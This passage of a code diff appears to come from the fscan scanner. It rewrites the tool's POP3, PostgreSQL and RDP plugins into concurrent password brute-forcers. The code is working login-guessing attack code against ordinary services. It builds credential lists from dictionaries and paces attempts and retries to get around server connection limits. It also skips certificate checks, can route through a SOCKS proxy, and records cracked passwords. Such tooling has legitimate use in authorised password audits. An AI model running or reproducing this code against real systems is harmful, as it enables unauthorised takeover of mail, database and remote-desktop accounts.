||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentPOP3Scan 并发扫描POP3服务(包含速率限制)
|
||||||
|
func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
|
||||||
|
// 不使用ModuleThreadNum控制并发数,必须单线程
|
||||||
|
maxConcurrent := 1
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 1 // POP3默认并发更低
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *POP3ScanResult, 1)
|
||||||
|
|
||||||
|
// 创建限速通道,控制请求频率
|
||||||
|
// 每次发送前需要从中获取令牌,确保请求间隔
|
||||||
|
rateLimiter := make(chan struct{}, maxConcurrent)
|
||||||
|
|
||||||
|
// 初始填充令牌
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
rateLimiter <- struct{}{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用动态的请求间隔
|
||||||
|
requestInterval := 1500 * time.Millisecond // 默认间隔1.5秒
|
||||||
|
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 创建任务队列
|
||||||
|
taskQueue := make(chan POP3Credential, len(credentials))
|
||||||
|
for _, cred := range credentials {
|
||||||
|
taskQueue <- cred
|
||||||
|
}
|
||||||
|
close(taskQueue)
|
||||||
|
|
||||||
|
// 记录已处理的凭据数
|
||||||
|
var processedCount int32
|
||||||
|
processedCountMutex := &sync.Mutex{}
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func(workerID int) {
|
||||||
|
defer wg.Done()
|
||||||
|
|
||||||
|
for credential := range taskQueue {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
case <-rateLimiter:
|
||||||
|
// 获取令牌,可以发送请求
|
||||||
|
processedCountMutex.Lock()
|
||||||
|
processedCount++
|
||||||
|
currentCount := processedCount
|
||||||
|
processedCountMutex.Unlock()
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s",
|
||||||
|
currentCount, len(credentials), workerID, credential.Username, credential.Password))
|
||||||
|
|
||||||
|
result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
|
||||||
|
// 尝试完成后添加延迟,然后归还令牌
|
||||||
|
time.Sleep(requestInterval)
|
||||||
|
|
||||||
|
// 未被取消的情况下归还令牌
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
// 如果已经取消,不再归还令牌
|
||||||
|
default:
|
||||||
|
rateLimiter <- struct{}{}
|
||||||
|
}
|
||||||
|
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}(i)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("POP3并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryPOP3Credential 尝试单个POP3凭据
|
||||||
|
func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &POP3ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
// 重试间隔时间增加,避免触发服务器限制
|
||||||
|
retryDelay := time.Duration(retry*2000) * time.Millisecond
|
||||||
|
time.Sleep(retryDelay)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, isTLS, err := POP3Conn(connCtx, info, credential.Username, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &POP3ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
IsTLS: isTLS,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 处理特定错误情况
|
||||||
|
if strings.Contains(strings.ToLower(err.Error()), "too many connections") ||
|
||||||
|
strings.Contains(strings.ToLower(err.Error()), "connection refused") ||
|
||||||
|
strings.Contains(strings.ToLower(err.Error()), "timeout") {
|
||||||
|
// 服务器可能限制连接,增加等待时间
|
||||||
|
waitTime := time.Duration((retry+1)*3000) * time.Millisecond
|
||||||
|
Common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime))
|
||||||
|
time.Sleep(waitTime)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &POP3ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// POP3Conn 尝试POP3连接
|
||||||
|
func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
isTLS bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中尝试连接,支持取消
|
||||||
|
go func() {
|
||||||
|
// 首先尝试普通连接
|
||||||
|
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||||
|
if err == nil {
|
||||||
|
flag, authErr := tryPOP3Auth(conn, user, pass, timeout)
|
||||||
|
conn.Close()
|
||||||
|
if authErr == nil && flag {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
isTLS bool
|
||||||
|
err error
|
||||||
|
}{flag, false, nil}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果普通连接失败,尝试TLS连接
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
tlsConfig := &tls.Config{
|
||||||
|
InsecureSkipVerify: true,
|
||||||
|
}
|
||||||
|
// 对于TLS连接,暂时使用标准dialer
|
||||||
|
// TODO: 实现通过socks代理的TLS连接
|
||||||
|
tempDialer := &net.Dialer{Timeout: timeout}
|
||||||
|
tlsConn, tlsErr := tls.DialWithDialer(tempDialer, "tcp", addr, tlsConfig)
|
||||||
|
if tlsErr != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
isTLS bool
|
||||||
|
err error
|
||||||
|
}{false, false, fmt.Errorf("连接失败: %v", tlsErr)}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tlsConn.Close()
|
||||||
|
|
||||||
|
flag, authErr := tryPOP3Auth(tlsConn, user, pass, timeout)
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
isTLS bool
|
||||||
|
err error
|
||||||
|
}{flag, true, authErr}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.isTLS, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryPOP3Auth 尝试POP3认证
|
||||||
|
func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
|
||||||
|
reader := bufio.NewReader(conn)
|
||||||
|
|
||||||
|
// 设置较长的超时时间以适应一些较慢的服务器
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
|
||||||
|
// 读取欢迎信息
|
||||||
|
response, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否有错误信息
|
||||||
|
if strings.Contains(strings.ToLower(response), "error") ||
|
||||||
|
strings.Contains(strings.ToLower(response), "too many") {
|
||||||
|
return false, fmt.Errorf("服务器拒绝连接: %s", strings.TrimSpace(response))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送用户名前等待一小段时间
|
||||||
|
time.Sleep(300 * time.Millisecond)
|
||||||
|
|
||||||
|
// 发送用户名
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user)))
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("发送用户名失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取用户名响应
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
response, err = reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("读取用户名响应失败: %v", err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(response, "+OK") {
|
||||||
|
return false, fmt.Errorf("用户名无效: %s", strings.TrimSpace(response))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送密码前等待一小段时间
|
||||||
|
time.Sleep(300 * time.Millisecond)
|
||||||
|
|
||||||
|
// 发送密码
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
_, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass)))
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("发送密码失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取密码响应
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
response, err = reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("读取密码响应失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(response, "+OK") {
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, fmt.Errorf("认证失败: %s", strings.TrimSpace(response))
|
||||||
|
}
|
||||||
|
|
||||||
|
// savePOP3Result 保存POP3扫描结果
|
||||||
|
func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult) {
|
||||||
|
tlsStatus := ""
|
||||||
|
if result.IsTLS {
|
||||||
|
tlsStatus = " (TLS)"
|
||||||
|
}
|
||||||
|
|
||||||
|
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s",
|
||||||
|
target, result.Credential.Username, result.Credential.Password, tlsStatus)
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "pop3",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
"tls": result.IsTLS,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
+275
-35
@@ -1,63 +1,260 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
|
"database/sql/driver"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/lib/pq"
|
"net"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/lib/pq"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// PostgresProxyDialer 自定义dialer结构体
|
||||||
|
type PostgresProxyDialer struct {
|
||||||
|
timeout time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dial 实现pq.Dialer接口,支持socks代理
|
||||||
|
func (d *PostgresProxyDialer) Dial(network, address string) (net.Conn, error) {
|
||||||
|
return Common.WrapperTcpWithTimeout(network, address, d.timeout)
|
||||||
|
}
|
||||||
|
|
||||||
|
// DialTimeout 实现具有超时的连接
|
||||||
|
func (d *PostgresProxyDialer) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||||
|
return Common.WrapperTcpWithTimeout(network, address, timeout)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PostgresCredential 表示一个PostgreSQL凭据
|
||||||
|
type PostgresCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// PostgresScanResult 表示PostgreSQL扫描结果
|
||||||
|
type PostgresScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential PostgresCredential
|
||||||
|
}
|
||||||
|
|
||||||
// PostgresScan 执行PostgreSQL服务扫描
|
// PostgresScan 执行PostgreSQL服务扫描
|
||||||
func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
func PostgresScan(info *Common.HostInfo) error {
|
||||||
if Common.IsBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
// 尝试用户名密码组合
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []PostgresCredential
|
||||||
for _, user := range Common.Userdict["postgresql"] {
|
for _, user := range Common.Userdict["postgresql"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
// 替换密码中的用户名占位符
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
credentials = append(credentials, PostgresCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := PostgresConn(info, user, pass)
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
if flag && err == nil {
|
len(Common.Userdict["postgresql"]), len(Common.Passwords), len(credentials)))
|
||||||
return err
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentPostgresScan(ctx, info, credentials, Common.Timeout+10, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
savePostgresResult(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("PostgreSQL扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentPostgresScan 并发扫描PostgreSQL服务
|
||||||
|
func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *PostgresScanResult, 1)
|
||||||
|
workChan := make(chan PostgresCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryPostgresCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("PostgreSQL并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryPostgresCredential 尝试单个PostgreSQL凭据
|
||||||
|
func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &PostgresScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
}
|
}
|
||||||
|
|
||||||
// 记录错误信息
|
// 创建单个连接超时的上下文
|
||||||
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
Common.LogError(errlog)
|
success, err := PostgresConn(connCtx, info, credential.Username, credential.Password)
|
||||||
tmperr = err
|
cancel()
|
||||||
|
|
||||||
if Common.CheckErrs(err) {
|
if success {
|
||||||
return err
|
return &PostgresScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 超时检查
|
lastErr = err
|
||||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) {
|
if err != nil {
|
||||||
return err
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
|
||||||
|
return &PostgresScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// PostgresConn 尝试PostgreSQL连接
|
// PostgresConn 尝试PostgreSQL连接
|
||||||
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
host, port, username, password := info.Host, info.Ports, user, pass
|
|
||||||
timeout := time.Duration(Common.Timeout) * time.Second
|
|
||||||
|
|
||||||
// 构造连接字符串
|
// 构造连接字符串
|
||||||
connStr := fmt.Sprintf(
|
connStr := fmt.Sprintf(
|
||||||
"postgres://%v:%v@%v:%v/postgres?sslmode=disable",
|
"postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d",
|
||||||
username, password, host, port,
|
user, pass, info.Host, info.Ports, Common.Timeout/1000, // 转换为秒
|
||||||
)
|
)
|
||||||
|
|
||||||
// 建立数据库连接
|
// 检查是否需要使用socks代理
|
||||||
|
if Common.Socks5Proxy != "" {
|
||||||
|
// 使用自定义dialer通过socks代理连接
|
||||||
|
dialer := &PostgresProxyDialer{
|
||||||
|
timeout: time.Duration(Common.Timeout) * time.Millisecond,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用pq.DialOpen通过自定义dialer建立连接
|
||||||
|
conn, err := pq.DialOpen(dialer, connStr)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 转换为sql.DB进行测试
|
||||||
|
db := sql.OpenDB(&postgresConnector{conn: conn})
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
// 使用上下文测试连接
|
||||||
|
err = db.PingContext(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 简单查询测试权限
|
||||||
|
var version string
|
||||||
|
err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用标准连接方式
|
||||||
db, err := sql.Open("postgres", connStr)
|
db, err := sql.Open("postgres", connStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
@@ -65,15 +262,58 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error)
|
|||||||
defer db.Close()
|
defer db.Close()
|
||||||
|
|
||||||
// 设置连接参数
|
// 设置连接参数
|
||||||
db.SetConnMaxLifetime(timeout)
|
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Millisecond)
|
||||||
|
db.SetMaxOpenConns(1)
|
||||||
|
db.SetMaxIdleConns(0)
|
||||||
|
|
||||||
// 测试连接
|
// 使用上下文测试连接
|
||||||
if err = db.Ping(); err != nil {
|
err = db.PingContext(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 简单查询测试权限
|
||||||
|
var version string
|
||||||
|
err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version)
|
||||||
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 连接成功
|
|
||||||
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// postgresConnector 封装driver.Conn为sql.driver.Connector
|
||||||
|
type postgresConnector struct {
|
||||||
|
conn driver.Conn
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *postgresConnector) Connect(ctx context.Context) (driver.Conn, error) {
|
||||||
|
return c.conn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *postgresConnector) Driver() driver.Driver {
|
||||||
|
return &pq.Driver{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// savePostgresResult 保存PostgreSQL扫描结果
|
||||||
|
func savePostgresResult(info *Common.HostInfo, target string, credential PostgresCredential) {
|
||||||
|
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v",
|
||||||
|
target, credential.Username, credential.Password)
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "postgresql",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
|
|||||||
+226
-69
@@ -1,6 +1,7 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
@@ -22,98 +23,200 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Brutelist 表示暴力破解的用户名密码组合
|
// RDPCredential 表示一个RDP凭据
|
||||||
type Brutelist struct {
|
type RDPCredential struct {
|
||||||
user string
|
Username string
|
||||||
pass string
|
Password string
|
||||||
|
Domain string
|
||||||
|
}
|
||||||
|
|
||||||
|
// RDPScanResult 表示RDP扫描结果
|
||||||
|
type RDPScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential RDPCredential
|
||||||
}
|
}
|
||||||
|
|
||||||
// RdpScan 执行RDP服务扫描
|
// RdpScan 执行RDP服务扫描
|
||||||
func RdpScan(info *Common.HostInfo) (tmperr error) {
|
func RdpScan(info *Common.HostInfo) error {
|
||||||
if Common.IsBrute {
|
defer func() {
|
||||||
return
|
if r := recover(); r != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
var (
|
|
||||||
wg sync.WaitGroup
|
|
||||||
signal bool
|
|
||||||
num = 0
|
|
||||||
all = len(Common.Userdict["rdp"]) * len(Common.Passwords)
|
|
||||||
mutex sync.Mutex
|
|
||||||
)
|
|
||||||
|
|
||||||
// 创建任务通道
|
|
||||||
brlist := make(chan Brutelist)
|
|
||||||
port, _ := strconv.Atoi(info.Ports)
|
port, _ := strconv.Atoi(info.Ports)
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, port)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
// 启动工作协程
|
// 设置全局超时上下文
|
||||||
for i := 0; i < Common.BruteThread; i++ {
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
wg.Add(1)
|
defer cancel()
|
||||||
go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout)
|
|
||||||
}
|
|
||||||
|
|
